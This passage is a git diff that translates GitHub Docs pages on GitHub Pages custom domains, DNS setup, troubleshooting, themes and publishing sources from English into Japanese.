+- {% data variables.product.prodname_pro %} から {% data variables.product.prodname_free_user %} へダウングレードすると、アカウント内のプライベートリポジトリから公開されている {% data variables.product.prodname_pages %} のサイトは公開されなくなります。 詳細は「[{% data variables.product.prodname_dotcom %} の支払いプランをダウングレードする](/articles/downgrading-your-github-billing-plan)」を参照してください。
+- {% data variables.product.prodname_free_user %} を利用している個人アカウントへプライベートリポジトリを移譲した場合、そのリポジトリからは {% data variables.product.prodname_pages %} の機能を利用できなくなり、公開されている {% data variables.product.prodname_pages %} は公開されなくなります。 詳細は「[リポジトリを移譲する](/articles/transferring-a-repository)」を参照してください。
 
-## Further reading
+## 参考リンク
 
-- "[Troubleshooting custom domains and {% data variables.product.prodname_pages %}](/articles/troubleshooting-custom-domains-and-github-pages)"
+- [カスタムドメインと {% data variables.product.prodname_pages %} のトラブルシューティング](/articles/troubleshooting-custom-domains-and-github-pages)
diff --git a/translations/ja-JP/content/pages/configuring-a-custom-domain-for-your-github-pages-site/index.md b/translations/ja-JP/content/pages/configuring-a-custom-domain-for-your-github-pages-site/index.md
index df8f8b376f..7326f627e2 100644
--- a/translations/ja-JP/content/pages/configuring-a-custom-domain-for-your-github-pages-site/index.md
+++ b/translations/ja-JP/content/pages/configuring-a-custom-domain-for-your-github-pages-site/index.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring a custom domain for your GitHub Pages site
-intro: 'You can customize the domain name of your {% data variables.product.prodname_pages %} site.'
+title: GitHub Pages サイトのカスタムドメインを設定する
+intro: '{% data variables.product.prodname_pages %} サイトのドメイン名をカスタマイズできます。'
 redirect_from:
   - /articles/tips-for-configuring-an-a-record-with-your-dns-provider
   - /articles/adding-or-removing-a-custom-domain-for-your-github-pages-site
@@ -22,5 +22,6 @@ children:
   - /managing-a-custom-domain-for-your-github-pages-site
   - /verifying-your-custom-domain-for-github-pages
   - /troubleshooting-custom-domains-and-github-pages
-shortTitle: Configure a custom domain
+shortTitle: カスタムドメインの設定
 ---
+
diff --git a/translations/ja-JP/content/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site.md b/translations/ja-JP/content/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site.md
index 025d260cef..b952003aba 100644
--- a/translations/ja-JP/content/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site.md
+++ b/translations/ja-JP/content/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site.md
@@ -1,6 +1,6 @@
 ---
-title: Managing a custom domain for your GitHub Pages site
-intro: 'You can set up or update certain DNS records and your repository settings to point the default domain for your {% data variables.product.prodname_pages %} site to a custom domain.'
+title: GitHub Pages サイトのカスタムドメインを管理する
+intro: '特定の DNS レコードとリポジトリ設定を設定または更新し、{% data variables.product.prodname_pages %} サイトのデフォルトドメインをカスタムドメインに指定することができます。'
 redirect_from:
   - /articles/quick-start-setting-up-a-custom-domain
   - /articles/setting-up-an-apex-domain
@@ -17,41 +17,40 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: Manage a custom domain
+shortTitle: カスタムドメインの管理
 ---
 
-People with admin permissions for a repository can configure a custom domain for a {% data variables.product.prodname_pages %} site.
+リポジトリの管理者権限があるユーザは、{% data variables.product.prodname_pages %} サイトのカスタムドメインを設定できます。
 
-## About custom domain configuration
+## カスタムドメインの設定について
 
-Make sure you add your custom domain to your {% data variables.product.prodname_pages %} site before configuring your custom domain with your DNS provider. Configuring your custom domain with your DNS provider without adding your custom domain to {% data variables.product.product_name %} could result in someone else being able to host a site on one of your subdomains.
+DNS プロバイダでカスタムドメインを設定する前に、必ず {% data variables.product.prodname_pages %} サイトをカスタムドメインに追加してください。 カスタムドメインを {% data variables.product.product_name %} に追加せずに DNS プロバイダに設定すると、別のユーザがあなたのサブドメインにサイトをホストできることになります。
 
 {% windows %}
 
-The `dig` command, which can be used to verify correct configuration of DNS records, is not included in Windows. Before you can verify that your DNS records are configured correctly, you must install [BIND](https://www.isc.org/bind/).
+DNS レコードの設定が正しいかどうかを検証するために利用できる`dig` コマンドは、Windows には含まれていません。 DNS レコードが正しく設定されているかを検証する前に、[BIND](https://www.isc.org/bind/) をインストールする必要があります。
 
 {% endwindows %}
 
 {% note %}
 
-**Note:** DNS changes can take up to 24 hours to propagate.
+**注釈:** DNS の変更が伝播するには、最大 24 時間かかります。
 
 {% endnote %}
 
-## Configuring a subdomain
+## サブドメインを設定する
 
-To set up a `www` or custom subdomain, such as `www.example.com` or `blog.example.com`, you must add your domain in the repository settings, which will create a CNAME file in your site’s repository. After that, configure a CNAME record with your DNS provider.
+`www` または `www.example.com` や `blog.example.com` などのカスタムサブドメインを設定するには、リポジトリ設定にドメインを追加する必要があります。これにより、サイトのリポジトリに CNAME ファイルが作成されます。 その後、DNS プロバイダで CNAME レコードを設定します。
 
 {% data reusables.pages.navigate-site-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.pages.sidebar-pages %}
-4. Under "Custom domain", type your custom domain, then click **Save**. This will create a commit that adds a _CNAME_ file in the root of your publishing source.
-  ![Save custom domain button](/assets/images/help/pages/save-custom-subdomain.png)
-5. Navigate to your DNS provider and create a `CNAME` record that points your subdomain to the default domain for your site. For example, if you want to use the subdomain `www.example.com` for your user site, create a `CNAME` record that points `www.example.com` to `<user>.github.io`. If you want to use the subdomain `www.anotherexample.com` for your organization site, create a `CNAME` record that points `www.anotherexample.com` to `<organization>.github.io`. The `CNAME` record should always point to `<user>.github.io` or `<organization>.github.io`, excluding the repository name. {% data reusables.pages.contact-dns-provider %} {% data reusables.pages.default-domain-information %}
+4. "Custom domain（カスタムドメイン）" の下で、カスタムドメインを入力して**Save（保存）**をクリックします。 これで_CNAME_ファイルを公開ソースのルートに追加するコミットが作成されます。 ![カスタムドメインの保存ボタン](/assets/images/help/pages/save-custom-subdomain.png)
+5. お使いの DNS プロバイダにアクセスし、サブドメインがサイトのデフォルトドメインを指す `CNAME` レコードを作成します。 たとえば、サイトで `www.example.com` というサブドメインを使いたい場合、`www.example.com` が `<user>.github.io` を指す`CNAME` レコードを作成します。 Organization サイトで `www.anotherexample.com` というサブドメインを使用する場合、`www.anotherexample.com` が `<organization>.github.io` を指す`CNAME` レコードを作成します。 `CNAME` レコードは、リポジトリ名を除いて、常に`<user>.github.io` または `<organization>.github.io` を指している必要があります。 {% data reusables.pages.contact-dns-provider %} {% data reusables.pages.default-domain-information %}
 
 {% indented_data_reference reusables.pages.wildcard-dns-warning spaces=3 %}
 {% data reusables.command_line.open_the_multi_os_terminal %}
-6. To confirm that your DNS record configured correctly, use the `dig` command, replacing _WWW.EXAMPLE.COM_ with your subdomain.
+6. DNS レコードが正しくセットアップされたことを確認するには、 `dig` コマンドを使います。_WWW.EXAMPLE.COM_ は、お使いのサブドメインに置き換えてください。
 ```shell
     $ dig <em>WWW.EXAMPLE.COM</em> +nostats +nocomments +nocmd
     > ;<em>WWW.EXAMPLE.COM.</em>                     IN      A
@@ -62,20 +61,19 @@ To set up a `www` or custom subdomain, such as `www.example.com` or `blog.exampl
 {% data reusables.pages.build-locally-download-cname %}
 {% data reusables.pages.enforce-https-custom-domain %}
 
-## Configuring an apex domain
+## Apexドメインを設定する
 
-To set up an apex domain, such as `example.com`, you must configure a _CNAME_ file  in your {% data variables.product.prodname_pages %} repository and at least one `ALIAS`, `ANAME`, or `A` record with your DNS provider.
+`example.com` などの Apex ドメインを設定するには、{% data variables.product.prodname_pages %} リポジトリに _CNAME_ ファイルを設定し、DNS プロバイダで少なくとも 1 つの `ALIAS`、`ANAME`、または `A` レコードを設定する必要があります。
 
-{% data reusables.pages.www-and-apex-domain-recommendation %} For more information, see "[Configuring a subdomain](#configuring-a-subdomain)."
+{% data reusables.pages.www-and-apex-domain-recommendation %} 詳しい情報については、「[サブドメインを設定する](#configuring-a-subdomain)」を参照してください。
 
 {% data reusables.pages.navigate-site-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.pages.sidebar-pages %}
-4. Under "Custom domain", type your custom domain, then click **Save**. This will create a commit that adds a _CNAME_ file in the root of your publishing source.
-  ![Save custom domain button](/assets/images/help/pages/save-custom-apex-domain.png)
-5. Navigate to your DNS provider and create either an `ALIAS`, `ANAME`, or `A` record. You can also create `AAAA` records for IPv6 support. {% data reusables.pages.contact-dns-provider %}
-    - To create an `ALIAS` or `ANAME` record, point your apex domain to the default domain for your site. {% data reusables.pages.default-domain-information %}
-    - To create `A` records, point your apex domain to the IP addresses for {% data variables.product.prodname_pages %}.
+4. "Custom domain（カスタムドメイン）" の下で、カスタムドメインを入力して**Save（保存）**をクリックします。 これで_CNAME_ファイルを公開ソースのルートに追加するコミットが作成されます。 ![カスタムドメインの保存ボタン](/assets/images/help/pages/save-custom-apex-domain.png)
+5. DNS プロバイダに移動し、`ALIAS`、`ANAME`、または `A` レコードを作成します。 You can also create `AAAA` records for IPv6 support. {% data reusables.pages.contact-dns-provider %}
+    - `ALIAS`または`ANAME`レコードを作成するには、Apexドメインをサイトのデフォルトドメインにポイントします。 {% data reusables.pages.default-domain-information %}
+    - `A` レコードを作成するには、Apex ドメインが {% data variables.product.prodname_pages %} の IP アドレスを指すようにします。
       ```shell
       185.199.108.153
       185.199.109.153
@@ -92,7 +90,7 @@ To set up an apex domain, such as `example.com`, you must configure a _CNAME_ fi
 
 {% indented_data_reference reusables.pages.wildcard-dns-warning spaces=3 %}
 {% data reusables.command_line.open_the_multi_os_terminal %}
-6. To confirm that your DNS record configured correctly, use the `dig` command, replacing _EXAMPLE.COM_ with your apex domain. Confirm that the results match the IP addresses for {% data variables.product.prodname_pages %} above.
+6. DNS レコードが正しく設定されたことを確認するには、 `dig` コマンドを使います。_EXAMPLE.COM_ は、お使いの Apex ドメインに置き換えてください。 結果が、上記の {% data variables.product.prodname_pages %} の IP アドレスに一致することを確認します。
    - For `A` records.
     ```shell
     $ dig <em>EXAMPLE.COM</em> +noall +answer -t A
@@ -112,16 +110,16 @@ To set up an apex domain, such as `example.com`, you must configure a _CNAME_ fi
 {% data reusables.pages.build-locally-download-cname %}
 {% data reusables.pages.enforce-https-custom-domain %}
 
-## Configuring an apex domain and the `www` subdomain variant
+## Apexドメインと`www`サブドメイン付きのドメインの設定
 
-When using an apex domain, we recommend configuring your {% data variables.product.prodname_pages %} site to host content at both the apex domain and that domain's `www` subdomain variant.
+Apexドメインを使う場合、コンテンツをApexドメインと`www`サブドメイン付きのドメインの双方でホストするよう{% data variables.product.prodname_pages %}サイトを設定することをおすすめします。
 
-To set up a `www` subdomain alongside the apex domain, you must first configure an apex domain, which will create an `ALIAS`, `ANAME`, or `A` record with your DNS provider. For more information, see "[Configuring an apex domain](#configuring-an-apex-domain)."
+Apexドメインと共に`www`サブドメインをセットアップするには、まずApexドメインを設定しします。そうすると、DNSプロバイダで`ALIAS`、`ANAME`、`A`のいずれかのレコードが作成されます。 詳しい情報については「[Apexドメインの設定](#configuring-an-apex-domain)」を参照してください。
 
-After you configure the apex domain, you must configure a CNAME record with your DNS provider.
+Apexドメインを設定したら、DNSプロバイダでCNAMEレコードを設定しなければなりません。
 
-1. Navigate to your DNS provider and create a `CNAME` record that points `www.example.com` to the default domain for your site: `<user>.github.io` or `<organization>.github.io`. Do not include the repository name. {% data reusables.pages.contact-dns-provider %} {% data reusables.pages.default-domain-information %}
-2. To confirm that your DNS record configured correctly, use the `dig` command, replacing _WWW.EXAMPLE.COM_ with your `www` subdomain variant.
+1. DNSプロバイダにアクセスして、`www.example.com`がサイトのデフォルトドメインの`<user>.github.io`もしくは`<organization>.github.io`を指すようにする`CNAME`レコードを作成してください。 リポジトリ名は含めないでください。 {% data reusables.pages.contact-dns-provider %} {% data reusables.pages.default-domain-information %}
+2. DNS レコードが正しくセットアップされたことを確認するには、 `dig` コマンドを使います。_WWW.EXAMPLE.COM_ は、`www`サブドメイン付きのドメインに置き換えてください。
 ```shell
     $ dig <em>WWW.EXAMPLE.COM</em> +nostats +nocomments +nocmd
     > ;<em>WWW.EXAMPLE.COM.</em>                     IN      A
@@ -129,18 +127,17 @@ After you configure the apex domain, you must configure a CNAME record with your
     > <em>YOUR-USERNAME</em>.github.io.      43192   IN      CNAME   <em> GITHUB-PAGES-SERVER </em>.
     > <em> GITHUB-PAGES-SERVER </em>.         22      IN      A       192.0.2.1
 ```
-## Removing a custom domain
+## カスタムドメインの削除
 
 {% data reusables.pages.navigate-site-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.pages.sidebar-pages %}
-4. Under "Custom domain," click **Remove**.
-  ![Save custom domain button](/assets/images/help/pages/remove-custom-domain.png)
+4. "Custom domain（カスタムドメイン）"の下で、**Remove（削除）**をクリックしてください。 ![カスタムドメインの保存ボタン](/assets/images/help/pages/remove-custom-domain.png)
 
 ## Securing your custom domain
 
 {% data reusables.pages.secure-your-domain %} For more information, see "[Verifying your custom domain for {% data variables.product.prodname_pages %}](/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages)."
 
-## Further reading
+## 参考リンク
 
-- "[Troubleshooting custom domains and {% data variables.product.prodname_pages %}](/articles/troubleshooting-custom-domains-and-github-pages)"
+- [カスタムドメインと {% data variables.product.prodname_pages %} のトラブルシューティング](/articles/troubleshooting-custom-domains-and-github-pages)
diff --git a/translations/ja-JP/content/pages/configuring-a-custom-domain-for-your-github-pages-site/troubleshooting-custom-domains-and-github-pages.md b/translations/ja-JP/content/pages/configuring-a-custom-domain-for-your-github-pages-site/troubleshooting-custom-domains-and-github-pages.md
index 892a5af812..8356b987bd 100644
--- a/translations/ja-JP/content/pages/configuring-a-custom-domain-for-your-github-pages-site/troubleshooting-custom-domains-and-github-pages.md
+++ b/translations/ja-JP/content/pages/configuring-a-custom-domain-for-your-github-pages-site/troubleshooting-custom-domains-and-github-pages.md
@@ -1,6 +1,6 @@
 ---
-title: Troubleshooting custom domains and GitHub Pages
-intro: 'You can check for common errors to resolve issues with custom domains or HTTPS for your {% data variables.product.prodname_pages %} site.'
+title: カスタムドメインとGitHub Pages のトラブルシューティング
+intro: '{% data variables.product.prodname_pages %} サイトのカスタムドメインまたは HTTPS について、よくあるエラーを確認して Issue を解決することができます。'
 redirect_from:
   - /articles/my-custom-domain-isn-t-working
   - /articles/custom-domain-isn-t-working
@@ -13,58 +13,58 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: Troubleshoot a custom domain
+shortTitle: カスタムドメインのトラブルシューティング
 ---
 
-## _CNAME_ errors
+## _CNAME_ エラー
 
-Custom domains are stored in a _CNAME_ file in the root of your publishing source. You can add or update this file through your repository settings or manually. For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)."
+カスタムドメインは、公開ソースのルートにある _CNAME_ ファイルに保存されます。 このファイルは、リポジトリ設定を通じて、あるいは手動で追加または更新することができます。 詳しい情報については、「[{% data variables.product.prodname_pages %} サイト用のカスタムドメインを管理する](/articles/managing-a-custom-domain-for-your-github-pages-site)」を参照してください。
 
-For your site to render at the correct domain, make sure your _CNAME_ file still exists in the repository. For example, many static site generators force push to your repository, which can overwrite the _CNAME_ file that was added to your repository when you configured your custom domain. If you build your site locally and push generated files to {% data variables.product.product_name %}, make sure to pull the commit that added the _CNAME_ file to your local repository first, so the file will be included in the build.
+サイトが正しいドメインをレンダリングするには、_CNAME_ ファイルがまだリポジトリに存在していることを確認します。 たとえば、静的サイトジェネレータの多くはリポジトリへのプッシュを強制するので、カスタムドメインの設定時にリポジトリに追加された _CNAME_ ファイルを上書きすることができます。 ローカルでサイトをビルドし、生成されたファイルを {% data variables.product.product_name %} にプッシュする場合は、_CNAME_ ファイルをローカルリポジトリに追加したコミットを先にプルして、そのファイルがビルドに含まれるようにする必要があります。
 
-Then, make sure the _CNAME_ file is formatted correctly.
+次に、_CNAME_ のフォーマットが正しいことも確認します。
 
-- The _CNAME_ filename must be all uppercase.
-- The _CNAME_ file can contain only one domain. To point multiple domains to your site, you must set up a redirect through your DNS provider.
-- The _CNAME_ file must contain the domain name only. For example, `www.example.com`, `blog.example.com`, or `example.com`.
-- The domain name must be unique across all {% data variables.product.prodname_pages %} sites. For example, if another repository's _CNAME_ file contains `example.com`, you cannot use `example.com` in the _CNAME_ file for your repository.
+- _CNAME_ ファイル名は、すべて大文字である必要があります。
+- _CNAME_ ファイルにはドメインを 1 つだけ含めることができます。 複数のドメインをサイトにポイントするには、DNSプロバイダ経由のリダイレクトを設定する必要があります。
+- _CNAME_ ファイルにはドメイン名のみが含まれている必要があります。 たとえば、`www.example.com`、`blog.example.com`、`example.com` などです。
+- ドメイン名は、すべての {% data variables.product.prodname_pages %} サイトで一意である必要があります。 たとえば、別のリポジトリの _CNAME_ ファイルに `example.com` が含まれている場合、自分のリポジトリの _CNAME_ ファイルに `example.com` を使用することはできません。
 
-## DNS misconfiguration
+## DNS の設定ミス
 
-If you have trouble pointing the default domain for your site to your custom domain, contact your DNS provider.
+デフォルトドメインをカスタムドメインにポイントすることに問題がある場合は、DNS プロバイダに連絡してください。
 
 You can also use one of the following methods to test whether your custom domain's DNS records are configured correctly:
 
 - A CLI tool such as `dig`. For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)".
 - An online DNS lookup tool.
 
-## Custom domain names that are unsupported
+## サポートされていないカスタムドメイン名
 
-If your custom domain is unsupported, you may need to change your domain to a supported domain. You can also contact your DNS provider to see if they offer forwarding services for domain names.
+カスタムドメインがサポートされていない場合、使用しているドメインをサポートされているドメインに変更しなければならないかもしれません。 DNSプロバイダに問い合わせて、ドメイン名の転送サービスを提供しているかどうかを確認することもできます。
 
-Make sure your site does not:
-- Use more than one apex domain. For example, both `example.com` and `anotherexample.com`.
-- Use more than one `www` subdomain. For example, both `www.example.com` and `www.anotherexample.com`.
-- Use both an apex domain and custom subdomain. For example, both `example.com` and `docs.example.com`.
+サイトが以下に当てはまっていないを確認してください。
+- 複数の Apex ドメインを使用している。 たとえば、`example.com` と`anotherexample.com` の両方など。
+- 複数の `www` サブドメインを使用している。 たとえば、`www.example.com` と`www.anotherexample.com` の両方など。
+- Apex ドメインとカスタムサブドメインの両方を使用している。 たとえば、`example.com` と`docs.example.com` の両方など。
 
-  The one exception is the `www` subdomain. If configured correctly, the `www` subdomain is automatically redirected to the apex domain. For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/github/working-with-github-pages/managing-a-custom-domain-for-your-github-pages-site#configuring-an-apex-domain)."
+  例外は`www`サブドメインです。 正しく設定されていれば、`www`サブドメインは自動的にApexドメインにリダイレクトされます。 詳しい情報については、「[{% data variables.product.prodname_pages %} サイト用のカスタムドメインを管理する](/github/working-with-github-pages/managing-a-custom-domain-for-your-github-pages-site#configuring-an-apex-domain)」を参照してください。
 
 {% data reusables.pages.wildcard-dns-warning %}
 
-For a list of supported custom domains, see "[About custom domains and {% data variables.product.prodname_pages %}](/articles/about-custom-domains-and-github-pages/#supported-custom-domains)."
+サポートされているカスタムサブドメインのリストは、「[カスタムドメインと {% data variables.product.prodname_pages %} について](/articles/about-custom-domains-and-github-pages/#supported-custom-domains)」を参照してください。
 
-## HTTPS errors
+## HTTPS エラー
 
-{% data variables.product.prodname_pages %} sites using custom domains that are correctly configured with `CNAME`, `ALIAS`, `ANAME`, or `A` DNS records can be accessed over HTTPS. For more information, see "[Securing your {% data variables.product.prodname_pages %} site with HTTPS](/articles/securing-your-github-pages-site-with-https)."
+`CNAME`、`ALIAS`、`ANAME` や `A` DNS レコードで適切に設定されたカスタムドメインを使っている {% data variables.product.prodname_pages %} サイトは、HTTPS でアクセスできます。 詳しい情報については[HTTPSで{% data variables.product.prodname_pages %}サイトをセキュアにする](/articles/securing-your-github-pages-site-with-https)を参照してください。
 
-It can take up to an hour for your site to become available over HTTPS after you configure your custom domain. After you update existing DNS settings, you may need to remove and re-add your custom domain to your site's repository to trigger the process of enabling HTTPS. For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)."
+カスタムドメインを設定した後、サイトが HTTPS 経由で利用可能になるには最長 1 時間かかります。 既存の DNS 設定をアップデートした後、HTTPS を有効化するプロセスを開始するには、カスタムドメインを削除してサイトのリポジトリに再追加しなければならない可能性があります。 詳しい情報については、「[{% data variables.product.prodname_pages %} サイト用のカスタムドメインを管理する](/articles/managing-a-custom-domain-for-your-github-pages-site)」を参照してください。
 
-If you're using Certification Authority Authorization (CAA) records, at least one CAA record must exist with the value `letsencrypt.org` for your site to be accessible over HTTPS. For more information, see "[Certificate Authority Authorization (CAA)](https://letsencrypt.org/docs/caa/)" in the Let's Encrypt documentation.
+Certification Authority Authorization (CAA) レコードの使用を選択した場合、HTTPS 経由でサイトにアクセスするには、値が `letsencrypt.org` の CAA レコードが少なくとも 1 つ存在している必要があります。 詳しい情報については、Let's Encrypt ドキュメンテーションの「[Certificate Authority Authorization (CAA)](https://letsencrypt.org/docs/caa/)」を参照してください。
 
-## URL formatting on Linux
+## Linux での URL フォーマット
 
-If the URL for your site contains a username or organization name that begins or ends with a dash, or contains consecutive dashes, people browsing with Linux will receive a server error when they attempt to visit your site. To fix this, change your {% data variables.product.product_name %} username to remove non-alphanumeric characters. For more information, see "[Changing your {% data variables.product.prodname_dotcom %} username](/articles/changing-your-github-username/)."
+サイトのURLに、先頭か最後がダッシュのユーザ名もしくは Organization 名が含まれていたり、連続するダッシュが含まれていたりすると、Linux でブラウズするユーザがそのサイトにアクセスしようとするとサーバーエラーを受け取ることになります。 これを修正するには、{% data variables.product.product_name %}のユーザ名から非英数字を取り除くよう変更してください。 詳細は「[{% data variables.product.prodname_dotcom %} ユーザ名を変更する](/articles/changing-your-github-username/)」を参照してください。
 
-## Browser cache
+## ブラウザのキャッシュ
 
-If you've recently changed or removed your custom domain and can't access the new URL in your browser, you may need to clear your browser's cache to reach the new URL. For more information on clearing your cache, see your browser's documentation.
+最近カスタムドメインを変更または削除し、ブラウザで新しい URL にアクセスできない場合は、ブラウザのキャッシュを削除してから新しい URL にアクセスすることが必要になる場合があります。 キャッシュの削除についての詳しい情報については、ブラウザのドキュメントを参照してください。
diff --git a/translations/ja-JP/content/pages/getting-started-with-github-pages/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser.md b/translations/ja-JP/content/pages/getting-started-with-github-pages/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser.md
index 6f568026a7..47027309e8 100644
--- a/translations/ja-JP/content/pages/getting-started-with-github-pages/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser.md
+++ b/translations/ja-JP/content/pages/getting-started-with-github-pages/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser.md
@@ -1,6 +1,6 @@
 ---
-title: Adding a theme to your GitHub Pages site with the theme chooser
-intro: 'You can add a theme to your {% data variables.product.prodname_pages %} site to customize your site’s look and feel.'
+title: テーマ選択画面で GitHub Pages サイトにテーマを追加する
+intro: 'サイトの見た目をカスタマイズするため、{% data variables.product.prodname_pages %} サイトにテーマを追加できます。'
 redirect_from:
   - /articles/creating-a-github-pages-site-with-the-jekyll-theme-chooser
   - /articles/adding-a-jekyll-theme-to-your-github-pages-site-with-the-jekyll-theme-chooser
@@ -12,40 +12,37 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: Add theme to a Pages site
+shortTitle: Pagesサイトへのテーマの追加
 ---
 
-People with admin permissions for a repository can use the theme chooser to add a theme to a {% data variables.product.prodname_pages %} site.
+リポジトリの管理者権限があるユーザは、{% data variables.product.prodname_pages %} サイトにテーマを追加するため、テーマ選択画面を使用できます。
 
-## About the theme chooser
+## テーマ選択画面について
 
-The theme chooser adds a Jekyll theme to your repository. For more information about Jekyll, see "[About {% data variables.product.prodname_pages %} and Jekyll](/articles/about-github-pages-and-jekyll)."
+テーマ選択画面は、リポジトリに Jekyll テーマを追加するためのものです。 Jekyll に関する詳しい情報については、「[{% data variables.product.prodname_pages %} と Jekyll](/articles/about-github-pages-and-jekyll)」を参照してください。
 
-How the theme chooser works depends on whether your repository is public or private.
-  - If {% data variables.product.prodname_pages %} is already enabled for your repository, the theme chooser will add your theme to the current publishing source.
-  - If your repository is public and {% data variables.product.prodname_pages %} is disabled for your repository, using the theme chooser will enable {% data variables.product.prodname_pages %} and configure the default branch as your publishing source.
-  - If your repository is private and {% data variables.product.prodname_pages %} is disabled for your repository, you must enable {% data variables.product.prodname_pages %} by configuring a publishing source before you can use the theme chooser.
+テーマ選択画面の動作は、リポジトリがパブリックかプライベートかにより異なります。
+  - {% data variables.product.prodname_pages %} がリポジトリに対して既に有効である場合、テーマ選択画面は、現在の公開元にテーマを追加します。
+  - リポジトリがパブリックで、{% data variables.product.prodname_pages %} がリポジトリに対して無効である場合、テーマ選択画面を使用することで {% data variables.product.prodname_pages %} が有効となり、デフォルトブランチを公開元として設定します。
+  - リポジトリがプライベートで、{% data variables.product.prodname_pages %}がリポジトリに対して無効である場合、テーマ選択画面を使用する前に、公開元を設定して {% data variables.product.prodname_pages %} を有効にする必要があります。
 
-For more information about publishing sources, see "[About {% data variables.product.prodname_pages %}](/articles/about-github-pages#publishing-sources-for-github-pages-sites)."
+公開元に関する詳しい情報については、「[{% data variables.product.prodname_pages %} について](/articles/about-github-pages#publishing-sources-for-github-pages-sites)」を参照してください。
 
-If you manually added a Jekyll theme to your repository in the past, those files may be applied even after you use the theme chooser. To avoid conflicts, remove all manually added theme folders and files before using the theme chooser. For more information, see "[Adding a theme to your {% data variables.product.prodname_pages %} site using Jekyll](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll)."
+Jekyll テーマをリポジトリに手動で追加したことがある場合には、それらのファイルが、テーマ選択画面を使用した後も適用されることがあります。 競合を避けるため、テーマ選択画面を使用する前に、手動で追加したテーマフォルダおよびファイルをすべて削除してください。 詳しい情報については、「[Jekyll を使用して {% data variables.product.prodname_pages %} サイトにテーマを追加する](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll)」を参照してください。
 
-## Adding a theme with the theme chooser
+## テーマ選択画面でテーマを追加する
 
 {% data reusables.pages.navigate-site-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.pages.sidebar-pages %}
-3. Under "{% data variables.product.prodname_pages %}," click **Choose a theme** or **Change theme**.
-  ![Choose a theme button](/assets/images/help/pages/choose-a-theme.png)
-4. On the top of the page, click the theme you want, then click **Select theme**.
-  ![Theme options and Select theme button](/assets/images/help/pages/select-theme.png)
-5. You may be prompted to edit your site's *README.md* file.
-   - To edit the file later, click **Cancel**.
-   ![Cancel link when editing a file](/assets/images/help/pages/cancel-edit.png)
+3. [{% data variables.product.prodname_pages %}] で、[**Choose a theme**] または [**Change theme**] をクリックします。 ![[Choose a theme] ボタン](/assets/images/help/pages/choose-a-theme.png)
+4. ページ上部の、選択したいテーマをクリックし、[**Select theme**] をクリックします。 ![テーマのオプションおよび [Select theme] ボタン](/assets/images/help/pages/select-theme.png)
+5. サイトの *README.md* ファイルを編集するようプロンプトが表示される場合があります。
+   - ファイルを後で編集する場合、[**Cancel**] をクリックします。 ![ファイルを編集する際の [Cancel] リンク](/assets/images/help/pages/cancel-edit.png)
    - To edit the file now, see "[Editing files](/repositories/working-with-files/managing-files/editing-files)."
 
-Your chosen theme will automatically apply to markdown files in your repository. To apply your theme to HTML files in your repository, you need to add YAML front matter that specifies a layout to each file. For more information, see "[Front Matter](https://jekyllrb.com/docs/front-matter/)" on the Jekyll site.
+選択したテーマは、リポジトリの Markdown ファイルに自動的に適用されます。 テーマをリポジトリの HTML ファイルに適用するには、各ファイルのレイアウトを指定する YAML front matter を追加する必要があります。 詳しい情報については、Jekyll サイトの「[Front Matter](https://jekyllrb.com/docs/front-matter/)」を参照してください。
 
-## Further reading
+## 参考リンク
 
-- [Themes](https://jekyllrb.com/docs/themes/) on the Jekyll site
+- Jekyll サイトの「[Themes](https://jekyllrb.com/docs/themes/)」
diff --git a/translations/ja-JP/content/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site.md b/translations/ja-JP/content/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site.md
index 5e931e4862..a7f9575a98 100644
--- a/translations/ja-JP/content/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site.md
+++ b/translations/ja-JP/content/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring a publishing source for your GitHub Pages site
-intro: 'If you use the default publishing source for your {% data variables.product.prodname_pages %} site, your site will publish automatically. You can also choose to publish your site from a different branch or folder.'
+title: GitHub Pages サイトの公開元を設定する
+intro: '{% data variables.product.prodname_pages %} サイトでデフォルトの公開元を使用している場合、サイトは自動的に公開されます。 You can also choose to publish your site from a different branch or folder.'
 redirect_from:
   - /articles/configuring-a-publishing-source-for-github-pages
   - /articles/configuring-a-publishing-source-for-your-github-pages-site
@@ -14,36 +14,33 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: Configure publishing source
+shortTitle: 公開ソースの設定
 ---
 
-For more information about publishing sources, see "[About {% data variables.product.prodname_pages %}](/articles/about-github-pages#publishing-sources-for-github-pages-sites)."
+公開元に関する詳しい情報については、「[{% data variables.product.prodname_pages %} について](/articles/about-github-pages#publishing-sources-for-github-pages-sites)」を参照してください。
 
-## Choosing a publishing source
+## 公開元を選択する
 
 Before you configure a publishing source, make sure the branch you want to use as your publishing source already exists in your repository.
 
 {% data reusables.pages.navigate-site-repo %}
 {% data reusables.repositories.sidebar-settings %}
